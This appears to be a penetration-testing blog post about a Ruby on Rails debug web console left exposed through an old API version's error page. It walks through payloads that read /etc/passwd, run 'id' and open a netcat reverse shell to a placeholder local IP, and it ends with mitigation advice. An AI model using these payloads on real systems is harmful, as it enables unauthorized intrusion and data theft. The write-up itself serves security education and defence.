Debugging Misconfiguration: Ruby on Rails Remote Code Execution
In the realm of web application security, even minor misconfigurations can have unforeseen consequences. This article delves into a critical vulnerability exposed by a seemingly simple oversight: a debugging console left enabled in a Ruby on Rails application. We’ll explore how this seemingly harmless feature can be exploited to gain unauthorized access and potentially compromise the entire system.
By examining this scenario, we aim to equip developers and security professionals with the knowledge to identify and mitigate such risks, ensuring the robustness of their Ruby on Rails applications.
Exploitation Methodology
During a recent Android application penetration testing project, our pen tester conducted an analysis of the application’s communication with its backend server. It was observed that the application leverages an API for data exchange, a common approach most Android applications employ for interaction with backend infrastructure.
Examining the request closely revealed the use of API version “v2” for communication with the backend server. This observation prompted an investigation into the potential existence of earlier API versions that may have been used previously or are still active.
Subsequent testing involved modifying the request URL to target a potential API version “v1“. The server responded with an HTTP status code “404 Not Found,” indicating that the “v1” API was non-functional.
However, when the pen tester carefully observed, the response size of the “404 Not Found” message for the non-existent “v1” API was unexpectedly large, at 222,126 bytes. This anomaly suggested the potential presence of additional information within the error response.
The pen tester repeated the request to investigate further, observing the behavior in a browser.
The browser inspection of the error response revealed an unexpected detail: a web-based console was enabled within the response. Web consoles grant the ability to execute arbitrary code directly on the web server. Therefore, stringent access controls are essential to mitigate security risks.
Upon closer examination, the error page displayed an enabled web console at the bottom. The console is designed for debugging purposes and allows you to execute arbitrary code on the web server.
To further assess the console’s functionality, the ‘id’ command was cautiously entered to observe the server’s response.
Initial attempts to execute the ‘id’ command directly within the web console proved unsuccessful, resulting in an error message from the server. However, further exploration revealed that pressing the “Tab” key provided auto-completion suggestions for available commands. These suggestions included ‘Etc,’ ‘Exception,’ ‘ExecJS,’ and potentially others.
Further enumerating how to execute system commands in a Ruby application, the pen tester found the Ruby documentation here.
After carefully reading the documentation, the pen tester crafted the payloads that could interact with the system. This exploration aimed to identify techniques that might enable the execution of system commands within the Ruby application and allow you to read system files.
Payload Used:
content = File.read(‘/etc/passwd’)
Get Accorian’s stories in your inbox
Join Medium for free to get updates from this writer.
And guess what? It worked, and the pen tester could read the “/etc/passwd” file.
Similarly, he crafted another payload to run the “id” system command:
output = IO.popen(‘id’, &:read)
The crafted payload successfully elicited a response from the server when the ‘id‘ command was provided. This response indicated a potential vulnerability, which confirmed the existence of a remote code execution vulnerability.
To further investigate and determine this vulnerability’s complete scope and impact, he enumerated whether Netcat was available in the system.
Since Netcat was installed, he crafted a simple reverse shell payload to gain a reverse shell into his local system:
output = IO.popen(‘nc <MY_LOCAL_IP> 5555 -e sh’, &:read)
Next, he initiated a listener on his local machine and finally got a reverse shell.
The identified scenario highlights the importance of implementing robust security practices for Ruby on Rails applications.
Mitigating the Risks: Securing Your Ruby on Rails Applications
Here are some key recommendations to mitigate the risks associated with misconfigured debugging consoles and potential RCE vulnerabilities:
- Disable debugging on public servers: Debugging functionality should be deactivated in production environments to prevent potential security threats.
- Disable outdated API versions: Unused or outdated API versions must be disabled to reduce the attack surface and prevent vulnerability exploitation.
- Implement robust error handling: Both the application and API should implement comprehensive error handling mechanisms to prevent the leakage of sensitive information and ensure graceful degradation in case of errors.
- Implement IP-based restrictions for debugging (if necessary): If debugging needs to be enabled for troubleshooting purposes, it’s advisable to restrict access based on IP addresses to minimize security risks.
The same can be done using the below-suggested configurations:
class Application < Rails::Application
config.web_console.permissions = ‘192.168.255.255’
end
If you want to allow the whole private network:
- application.configure do
config.web_console.permissions = ‘192.168.0.0/16’
end
Partner With Accorian for Penetration Testing Services
Accorian elevates the penetration testing process by identifying vulnerabilities, offering actionable recommendations for remediation, and implementing compensatory controls. This unique capability enables us to prioritize and customize solutions aligned with various compliance requirements. We excel in providing clients with a comprehensive understanding of their overall security posture.
